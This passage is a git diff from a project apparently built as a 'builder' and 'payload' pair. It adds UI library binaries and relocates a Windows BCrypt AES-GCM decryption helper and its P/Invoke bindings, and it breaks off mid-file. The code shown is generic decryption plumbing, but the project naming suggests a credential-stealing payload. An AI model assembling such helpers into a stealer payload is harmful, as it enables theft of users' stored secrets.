b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuCircleProgress.dll new file mode 100644 index 0000000..05ad4e4 Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuCircleProgress.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuColorTransition.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuColorTransition.dll new file mode 100644 index 0000000..467587b Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuColorTransition.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuDataGridView.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuDataGridView.dll new file mode 100644 index 0000000..4be5afb Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuDataGridView.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuDatePicker.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuDatePicker.dll new file mode 100644 index 0000000..aa9fc0a Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuDatePicker.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuDropdown.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuDropdown.dll new file mode 100644 index 0000000..1abf0bd Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuDropdown.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuFormDock.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuFormDock.dll new file mode 100644 index 0000000..c1acc02 Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuFormDock.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuGauge.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuGauge.dll new file mode 100644 index 0000000..653250d Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuGauge.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuGradientPanel.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuGradientPanel.dll new file mode 100644 index 0000000..90a7f7f Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuGradientPanel.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuGroupBox.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuGroupBox.dll new file mode 100644 index 0000000..51aac22 Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuGroupBox.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuImageButton.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuImageButton.dll new file mode 100644 index 0000000..48caa38 Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuImageButton.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuLabel.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuLabel.dll new file mode 100644 index 0000000..6d07d7b Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuLabel.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuPages.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuPages.dll new file mode 100644 index 0000000..34efa40 Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuPages.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuPanel.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuPanel.dll new file mode 100644 index 0000000..e2a0f7e Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuPanel.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuPictureBox.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuPictureBox.dll new file mode 100644 index 0000000..38e38b6 Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuPictureBox.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuProgressBar.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuProgressBar.dll new file mode 100644 index 0000000..52c9937 Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuProgressBar.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuRadioButton.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuRadioButton.dll new file mode 100644 index 0000000..6e5921d Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuRadioButton.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuRating.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuRating.dll new file mode 100644 index 0000000..d79412a Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuRating.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuScrollBar.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuScrollBar.dll new file mode 100644 index 0000000..4afeb41 Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuScrollBar.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuSeparator.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuSeparator.dll new file mode 100644 index 0000000..dd12576 Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuSeparator.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuShadowPanel.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuShadowPanel.dll new file mode 100644 index 0000000..f40d2bf Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuShadowPanel.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuShapes.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuShapes.dll new file mode 100644 index 0000000..33bdf05 Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuShapes.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuSlider.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuSlider.dll new file mode 100644 index 0000000..58104e4 Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuSlider.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuSnackbar.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuSnackbar.dll new file mode 100644 index 0000000..517e576 Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuSnackbar.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuTextBox.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuTextBox.dll new file mode 100644 index 0000000..14c0551 Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuTextBox.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuToggleSwitch.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuToggleSwitch.dll new file mode 100644 index 0000000..5952297 Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuToggleSwitch.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuToolTip.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuToolTip.dll new file mode 100644 index 0000000..59d8c2c Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuToolTip.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuTransition.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuTransition.dll new file mode 100644 index 0000000..01dbda1 Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuTransition.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuUserControl.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuUserControl.dll new file mode 100644 index 0000000..7dd94c9 Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuUserControl.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.Deprecated.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.Deprecated.dll new file mode 100644 index 0000000..8a581b1 Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.Deprecated.dll differ diff --git a/Umbral.builder/packages.config b/Umbral.builder/packages.config index fcc7140..245dcf2 100644 --- a/Umbral.builder/packages.config +++ b/Umbral.builder/packages.config @@ -1,6 +1,6 @@  - - - + + + \ No newline at end of file diff --git a/Umbral.payload/App.config b/Umbral.payload/App.config index 9c3c459..92ed828 100644 --- a/Umbral.payload/App.config +++ b/Umbral.payload/App.config @@ -1,6 +1,3 @@ - + - - - - \ No newline at end of file + diff --git a/Umbral.payload/Handlers/AesGcm.cs b/Umbral.payload/Components/Algorithms/Aesgcm.cs similarity index 96% rename from Umbral.payload/Handlers/AesGcm.cs rename to Umbral.payload/Components/Algorithms/Aesgcm.cs index bc52862..8ef88a9 100644 --- a/Umbral.payload/Handlers/AesGcm.cs +++ b/Umbral.payload/Components/Algorithms/Aesgcm.cs @@ -1,135 +1,135 @@ -using System; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; - -namespace Umbral.payload.Handlers -{ - //AES GCM from https://github.com/dvsekhvalnov/jose-jwt - internal class AesGcm - { - public byte[] Decrypt(byte[] key, byte[] iv, byte[] aad, byte[] cipherText, byte[] authTag) - { - IntPtr hAlg = OpenAlgorithmProvider(BCrypt.BCRYPT_AES_ALGORITHM, BCrypt.MS_PRIMITIVE_PROVIDER, BCrypt.BCRYPT_CHAIN_MODE_GCM); - IntPtr hKey, keyDataBuffer = ImportKey(hAlg, key, out hKey); - - byte[] plainText; - - BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo = new BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(iv, aad, authTag); - using (authInfo) - { - byte[] ivData = new byte[MaxAuthTagSize(hAlg)]; - - int plainTextSize = 0; - - uint status = BCrypt.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, null, 0, ref plainTextSize, 0x0); - - if (status != BCrypt.ERROR_SUCCESS) - throw new CryptographicException(string.Format("BCrypt.BCryptDecrypt() (get size) failed with status code: {0}", status)); - - plainText = new byte[plainTextSize]; - - status = BCrypt.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, plainText, plainText.Length, ref plainTextSize, 0x0); - - if (status == BCrypt.STATUS_AUTH_TAG_MISMATCH) - throw new CryptographicException("BCrypt.BCryptDecrypt(): authentication tag mismatch"); - - if (status != BCrypt.ERROR_SUCCESS) - throw new CryptographicException(string.Format("BCrypt.BCryptDecrypt() failed with status code:{0}", status)); - } - - BCrypt.BCryptDestroyKey(hKey); - Marshal.FreeHGlobal(keyDataBuffer); - BCrypt.BCryptCloseAlgorithmProvider(hAlg, 0x0); - - return plainText; - } - - private int MaxAuthTagSize(IntPtr hAlg) - { - byte[] tagLengthsValue = GetProperty(hAlg, BCrypt.BCRYPT_AUTH_TAG_LENGTH); - - return BitConverter.ToInt32(new[] { tagLengthsValue[4], tagLengthsValue[5], tagLengthsValue[6], tagLengthsValue[7] }, 0); - } - - private IntPtr OpenAlgorithmProvider(string alg, string provider, string chainingMode) - { - IntPtr hAlg = IntPtr.Zero; - - uint status = BCrypt.BCryptOpenAlgorithmProvider(out hAlg, alg, provider, 0x0); - - if (status != BCrypt.ERROR_SUCCESS) - throw new CryptographicException(string.Format("BCrypt.BCryptOpenAlgorithmProvider() failed with status code:{0}", status)); - - byte[] chainMode = Encoding.Unicode.GetBytes(chainingMode); - status = BCrypt.BCryptSetAlgorithmProperty(hAlg, BCrypt.BCRYPT_CHAINING_MODE, chainMode, chainMode.Length, 0x0); - - if (status != BCrypt.ERROR_SUCCESS) - throw new CryptographicException(string.Format("BCrypt.BCryptSetAlgorithmProperty(BCrypt.BCRYPT_CHAINING_MODE, BCrypt.BCRYPT_CHAIN_MODE_GCM) failed with status code:{0}", status)); - - return hAlg; - } - - private IntPtr ImportKey(IntPtr hAlg, byte[] key, out IntPtr hKey) - { - byte[] objLength = GetProperty(hAlg, BCrypt.BCRYPT_OBJECT_LENGTH); - - int keyDataSize = BitConverter.ToInt32(objLength, 0); - - IntPtr keyDataBuffer = Marshal.AllocHGlobal(keyDataSize); - - byte[] keyBlob = Concat(BCrypt.BCRYPT_KEY_DATA_BLOB_MAGIC, BitConverter.GetBytes(0x1), BitConverter.GetBytes(key.Length), key); - - uint status = BCrypt.BCryptImportKey(hAlg, IntPtr.Zero, BCrypt.BCRYPT_KEY_DATA_BLOB, out hKey, keyDataBuffer, keyDataSize, keyBlob, keyBlob.Length, 0x0); - - if (status != BCrypt.ERROR_SUCCESS) - throw new CryptographicException(string.Format("BCrypt.BCryptImportKey() failed with status code:{0}", status)); - - return keyDataBuffer; - } - - private byte[] GetProperty(IntPtr hAlg, string name) - { - int size = 0; - - uint status = BCrypt.BCryptGetProperty(hAlg, name, null, 0, ref size, 0x0); - - if (status != BCrypt.ERROR_SUCCESS) - throw new CryptographicException(string.Format("BCrypt.BCryptGetProperty() (get size) failed with status code:{0}", status)); - - byte[] value = new byte[size]; - - status = BCrypt.BCryptGetProperty(hAlg, name, value, value.Length, ref size, 0x0); - - if (status != BCrypt.ERROR_SUCCESS) - throw new CryptographicException(string.Format("BCrypt.BCryptGetProperty() failed with status code:{0}", status)); - - return value; - } - - public byte[] Concat(params byte[][] arrays) - { - int len = 0; - - foreach (byte[] array in arrays) - { - if (array == null) - continue; - len += array.Length; - } - - byte[] result = new byte[len - 1 + 1]; - int offset = 0; - - foreach (byte[] array in arrays) - { - if (array == null) - continue; - Buffer.BlockCopy(array, 0, result, offset, array.Length); - offset += array.Length; - } - - return result; - } - } +using System; +using System.Runtime.InteropServices; +using System.Security.Cryptography; +using System.Text; + +namespace Umbral.payload.Components.Algorithms +{ + //AES GCM from https://github.com/dvsekhvalnov/jose-jwt + internal class AesGcm + { + public byte[] Decrypt(byte[] key, byte[] iv, byte[] aad, byte[] cipherText, byte[] authTag) + { + IntPtr hAlg = OpenAlgorithmProvider(BCrypt.BCRYPT_AES_ALGORITHM, BCrypt.MS_PRIMITIVE_PROVIDER, BCrypt.BCRYPT_CHAIN_MODE_GCM); + IntPtr hKey, keyDataBuffer = ImportKey(hAlg, key, out hKey); + + byte[] plainText; + + BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo = new BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(iv, aad, authTag); + using (authInfo) + { + byte[] ivData = new byte[MaxAuthTagSize(hAlg)]; + + int plainTextSize = 0; + + uint status = BCrypt.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, null, 0, ref plainTextSize, 0x0); + + if (status != BCrypt.ERROR_SUCCESS) + throw new CryptographicException(string.Format("BCrypt.BCryptDecrypt() (get size) failed with status code: {0}", status)); + + plainText = new byte[plainTextSize]; + + status = BCrypt.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, plainText, plainText.Length, ref plainTextSize, 0x0); + + if (status == BCrypt.STATUS_AUTH_TAG_MISMATCH) + throw new CryptographicException("BCrypt.BCryptDecrypt(): authentication tag mismatch"); + + if (status != BCrypt.ERROR_SUCCESS) + throw new CryptographicException(string.Format("BCrypt.BCryptDecrypt() failed with status code:{0}", status)); + } + + BCrypt.BCryptDestroyKey(hKey); + Marshal.FreeHGlobal(keyDataBuffer); + BCrypt.BCryptCloseAlgorithmProvider(hAlg, 0x0); + + return plainText; + } + + private int MaxAuthTagSize(IntPtr hAlg) + { + byte[] tagLengthsValue = GetProperty(hAlg, BCrypt.BCRYPT_AUTH_TAG_LENGTH); + + return BitConverter.ToInt32(new[] { tagLengthsValue[4], tagLengthsValue[5], tagLengthsValue[6], tagLengthsValue[7] }, 0); + } + + private IntPtr OpenAlgorithmProvider(string alg, string provider, string chainingMode) + { + IntPtr hAlg = IntPtr.Zero; + + uint status = BCrypt.BCryptOpenAlgorithmProvider(out hAlg, alg, provider, 0x0); + + if (status != BCrypt.ERROR_SUCCESS) + throw new CryptographicException(string.Format("BCrypt.BCryptOpenAlgorithmProvider() failed with status code:{0}", status)); + + byte[] chainMode = Encoding.Unicode.GetBytes(chainingMode); + status = BCrypt.BCryptSetAlgorithmProperty(hAlg, BCrypt.BCRYPT_CHAINING_MODE, chainMode, chainMode.Length, 0x0); + + if (status != BCrypt.ERROR_SUCCESS) + throw new CryptographicException(string.Format("BCrypt.BCryptSetAlgorithmProperty(BCrypt.BCRYPT_CHAINING_MODE, BCrypt.BCRYPT_CHAIN_MODE_GCM) failed with status code:{0}", status)); + + return hAlg; + } + + private IntPtr ImportKey(IntPtr hAlg, byte[] key, out IntPtr hKey) + { + byte[] objLength = GetProperty(hAlg, BCrypt.BCRYPT_OBJECT_LENGTH); + + int keyDataSize = BitConverter.ToInt32(objLength, 0); + + IntPtr keyDataBuffer = Marshal.AllocHGlobal(keyDataSize); + + byte[] keyBlob = Concat(BCrypt.BCRYPT_KEY_DATA_BLOB_MAGIC, BitConverter.GetBytes(0x1), BitConverter.GetBytes(key.Length), key); + + uint status = BCrypt.BCryptImportKey(hAlg, IntPtr.Zero, BCrypt.BCRYPT_KEY_DATA_BLOB, out hKey, keyDataBuffer, keyDataSize, keyBlob, keyBlob.Length, 0x0); + + if (status != BCrypt.ERROR_SUCCESS) + throw new CryptographicException(string.Format("BCrypt.BCryptImportKey() failed with status code:{0}", status)); + + return keyDataBuffer; + } + + private byte[] GetProperty(IntPtr hAlg, string name) + { + int size = 0; + + uint status = BCrypt.BCryptGetProperty(hAlg, name, null, 0, ref size, 0x0); + + if (status != BCrypt.ERROR_SUCCESS) + throw new CryptographicException(string.Format("BCrypt.BCryptGetProperty() (get size) failed with status code:{0}", status)); + + byte[] value = new byte[size]; + + status = BCrypt.BCryptGetProperty(hAlg, name, value, value.Length, ref size, 0x0); + + if (status != BCrypt.ERROR_SUCCESS) + throw new CryptographicException(string.Format("BCrypt.BCryptGetProperty() failed with status code:{0}", status)); + + return value; + } + + public byte[] Concat(params byte[][] arrays) + { + int len = 0; + + foreach (byte[] array in arrays) + { + if (array == null) + continue; + len += array.Length; + } + + byte[] result = new byte[len - 1 + 1]; + int offset = 0; + + foreach (byte[] array in arrays) + { + if (array == null) + continue; + Buffer.BlockCopy(array, 0, result, offset, array.Length); + offset += array.Length; + } + + return result; + } + } } \ No newline at end of file diff --git a/Umbral.payload/Handlers/BCrypt.cs b/Umbral.payload/Components/Algorithms/BCrypt.cs similarity index 97% rename from Umbral.payload/Handlers/BCrypt.cs rename to Umbral.payload/Components/Algorithms/BCrypt.cs index 5fcb230..6845d68 100644 --- a/Umbral.payload/Handlers/BCrypt.cs +++ b/Umbral.payload/Components/Algorithms/BCrypt.cs @@ -1,176 +1,176 @@ -using System; -using System.Runtime.InteropServices; - -namespace Umbral.payload.Handlers -{ - public static class BCrypt - { - public const uint ERROR_SUCCESS = 0x00000000; - public const uint BCRYPT_PAD_PSS = 8; - public const uint BCRYPT_PAD_OAEP = 4; - - public static readonly byte[] BCRYPT_KEY_DATA_BLOB_MAGIC = BitConverter.GetBytes(0x4d42444b); - - public static readonly string BCRYPT_OBJECT_LENGTH = "ObjectLength"; - public static readonly string BCRYPT_CHAIN_MODE_GCM = "ChainingModeGCM"; - public static readonly string BCRYPT_AUTH_TAG_LENGTH = "AuthTagLength"; - public static readonly string BCRYPT_CHAINING_MODE = "ChainingMode"; - public static readonly string BCRYPT_KEY_DATA_BLOB = "KeyDataBlob"; - public static readonly string BCRYPT_AES_ALGORITHM = "AES"; - - public static readonly string MS_PRIMITIVE_PROVIDER = "Microsoft Primitive Provider"; - - public static readonly int BCRYPT_AUTH_MODE_CHAIN_CALLS_FLAG = 0x00000001; - public static readonly int BCRYPT_INIT_AUTH_MODE_INFO_VERSION = 0x00000001; - - public static readonly uint STATUS_AUTH_TAG_MISMATCH = 0xC000A002; - - [DllImport("bcrypt.dll")] - public static extern uint BCryptOpenAlgorithmProvider(out IntPtr phAlgorithm, - [MarshalAs(UnmanagedType.LPWStr)] string pszAlgId, - [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation, - uint dwFlags); - - [DllImport("bcrypt.dll")] - public static extern uint BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint flags); - - [DllImport("bcrypt.dll", EntryPoint = "BCryptGetProperty")] - public static extern uint BCryptGetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbOutput, int cbOutput, ref int pcbResult, uint flags); - - [DllImport("bcrypt.dll", EntryPoint = "BCryptSetProperty")] - internal static extern uint BCryptSetAlgorithmProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, int dwFlags); - - - [DllImport("bcrypt.dll")] - public static extern uint BCryptImportKey(IntPtr hAlgorithm, - IntPtr hImportKey, - [MarshalAs(UnmanagedType.LPWStr)] string pszBlobType, - out IntPtr phKey, - IntPtr pbKeyObject, - int cbKeyObject, - byte[] pbInput, //blob of type BCRYPT_KEY_DATA_BLOB + raw key data = (dwMagic (4 bytes) | uint dwVersion (4 bytes) | cbKeyData (4 bytes) | data) - int cbInput, - uint dwFlags); - - [DllImport("bcrypt.dll")] - public static extern uint BCryptDestroyKey(IntPtr hKey); - - [DllImport("bcrypt.dll")] - public static extern uint BCryptEncrypt(IntPtr hKey, - byte[] pbInput, - int cbInput, - ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, - byte[] pbIV, int cbIV, - byte[] pbOutput, - int cbOutput, - ref int pcbResult, - uint dwFlags); - - [DllImport("bcrypt.dll")] - internal static extern uint BCryptDecrypt(IntPtr hKey, - byte[] pbInput, - int cbInput, - ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, - byte[] pbIV, - int cbIV, - byte[] pbOutput, - int cbOutput, - ref int pcbResult, - int dwFlags); - - [StructLayout(LayoutKind.Sequential)] - public struct BCRYPT_PSS_PADDING_INFO - { - public BCRYPT_PSS_PADDING_INFO(string pszAlgId, int cbSalt) - { - this.pszAlgId = pszAlgId; - this.cbSalt = cbSalt; - } - - [MarshalAs(UnmanagedType.LPWStr)] - public string pszAlgId; - public int cbSalt; - } - - [StructLayout(LayoutKind.Sequential)] - public struct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO : IDisposable - { - public int cbSize; - public int dwInfoVersion; - public IntPtr pbNonce; - public int cbNonce; - public IntPtr pbAuthData; - public int cbAuthData; - public IntPtr pbTag; - public int cbTag; - public IntPtr pbMacContext; - public int cbMacContext; - public int cbAAD; - public long cbData; - public int dwFlags; - - public BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(byte[] iv, byte[] aad, byte[] tag) : this() - { - dwInfoVersion = BCRYPT_INIT_AUTH_MODE_INFO_VERSION; - cbSize = Marshal.SizeOf(typeof(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO)); - - if (iv != null) - { - cbNonce = iv.Length; - pbNonce = Marshal.AllocHGlobal(cbNonce); - Marshal.Copy(iv, 0, pbNonce, cbNonce); - } - - if (aad != null) - { - cbAuthData = aad.Length; - pbAuthData = Marshal.AllocHGlobal(cbAuthData); - Marshal.Copy(aad, 0, pbAuthData, cbAuthData); - } - - if (tag != null) - { - cbTag = tag.Length; - pbTag = Marshal.AllocHGlobal(cbTag); - Marshal.Copy(tag, 0, pbTag, cbTag); - - cbMacContext = tag.Length; - pbMacContext = Marshal.AllocHGlobal(cbMacContext); - } - } - - public void Dispose() - { - if (pbNonce != IntPtr.Zero) Marshal.FreeHGlobal(pbNonce); - if (pbTag != IntPtr.Zero) Marshal.FreeHGlobal(pbTag); - if (pbAuthData != IntPtr.Zero) Marshal.FreeHGlobal(pbAuthData); - if (pbMacContext != IntPtr.Zero) Marshal.FreeHGlobal(pbMacContext); - } - } - - [StructLayout(LayoutKind.Sequential)] - public struct BCRYPT_KEY_LENGTHS_STRUCT - { - public int dwMinLength; - public int dwMaxLength; - public int dwIncrement; - } - - [StructLayout(LayoutKind.Sequential)] - public struct BCRYPT_OAEP_PADDING_INFO - { - public BCRYPT_OAEP_PADDING_INFO(string alg) - { - pszAlgId = alg; - pbLabel = IntPtr.Zero; - cbLabel = 0; - } - - [MarshalAs(UnmanagedType.LPWStr)] - public string pszAlgId; - public IntPtr pbLabel; - public int cbLabel; - } - } - +using System; +using System.Runtime.InteropServices; + +namespace Umbral.payload.Components.Algorithms +{ + public static class BCrypt + { + public const uint ERROR_SUCCESS = 0x00000000; + public const uint BCRYPT_PAD_PSS = 8; + public const uint BCRYPT_PAD_OAEP = 4; + + public static readonly byte[] BCRYPT_KEY_DATA_BLOB_MAGIC = BitConverter.GetBytes(0x4d42444b); + + public static readonly string BCRYPT_OBJECT_LENGTH = "ObjectLength"; + public static readonly string BCRYPT_CHAIN_MODE_GCM = "ChainingModeGCM"; + public static readonly string BCRYPT_AUTH_TAG_LENGTH = "AuthTagLength"; + public static readonly string BCRYPT_CHAINING_MODE = "ChainingMode"; + public static readonly string BCRYPT_KEY_DATA_BLOB = "KeyDataBlob"; + public static readonly string BCRYPT_AES_ALGORITHM = "AES"; + + public static readonly string MS_PRIMITIVE_PROVIDER = "Microsoft Primitive Provider"; + + public static readonly int BCRYPT_AUTH_MODE_CHAIN_CALLS_FLAG = 0x00000001; + public static readonly int BCRYPT_INIT_AUTH_MODE_INFO_VERSION = 0x00000001; + + public static readonly uint STATUS_AUTH_TAG_MISMATCH = 0xC000A002; + + [DllImport("bcrypt.dll")] + public static extern uint BCryptOpenAlgorithmProvider(out IntPtr phAlgorithm, + [MarshalAs(UnmanagedType.LPWStr)] string pszAlgId, + [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation, + uint dwFlags); + + [DllImport("bcrypt.dll")] + public static extern uint BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint flags); + + [DllImport("bcrypt.dll", EntryPoint = "BCryptGetProperty")] + public static extern uint BCryptGetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbOutput, int cbOutput, ref int pcbResult, uint flags); + + [DllImport("bcrypt.dll", EntryPoint = "BCryptSetProperty")] + internal static extern uint BCryptSetAlgorithmProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, int dwFlags); + + + [DllImport("bcrypt.dll")] + public static extern uint BCryptImportKey(IntPtr hAlgorithm, + IntPtr hImportKey, + [MarshalAs(UnmanagedType.LPWStr)] string pszBlobType, + out IntPtr phKey, + IntPtr pbKeyObject, + int cbKeyObject, + byte[] pbInput, //blob of type BCRYPT_KEY_DATA_BLOB + raw key data = (dwMagic (4 bytes) | uint dwVersion (4 bytes) | cbKeyData (4 bytes) | data) + int cbInput, + uint dwFlags); + + [DllImport("bcrypt.dll")] + public static extern uint BCryptDestroyKey(IntPtr hKey); + + [DllImport("bcrypt.dll")] + public static extern uint BCryptEncrypt(IntPtr hKey, + byte[] pbInput, + int cbInput, + ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, + byte[] pbIV, int cbIV, + byte[] pbOutput, + int cbOutput, + ref int pcbResult, + uint dwFlags); + + [DllImport("bcrypt.dll")] + internal static extern uint BCryptDecrypt(IntPtr hKey, + byte[] pbInput, + int cbInput, + ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, + byte[] pbIV, + int cbIV, + byte[] pbOutput, + int cbOutput, + ref int pcbResult, + int dwFlags); + + [StructLayout(LayoutKind.Sequential)] + public struct BCRYPT_PSS_PADDING_INFO + { + public BCRYPT_PSS_PADDING_INFO(string pszAlgId, int cbSalt) + { + this.pszAlgId = pszAlgId; + this.cbSalt = cbSalt; + } + + [MarshalAs(UnmanagedType.LPWStr)] + public string pszAlgId; + public int cbSalt; + } + + [StructLayout(LayoutKind.Sequential)] + public struct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO : IDisposable + { + public int cbSize; + public int dwInfoVersion; + public IntPtr pbNonce; + public int cbNonce; + public IntPtr pbAuthData; + public int cbAuthData; + public IntPtr pbTag; + public int cbTag; + public IntPtr pbMacContext; + public int cbMacContext; + public int cbAAD; + public long cbData; + public int dwFlags; + + public 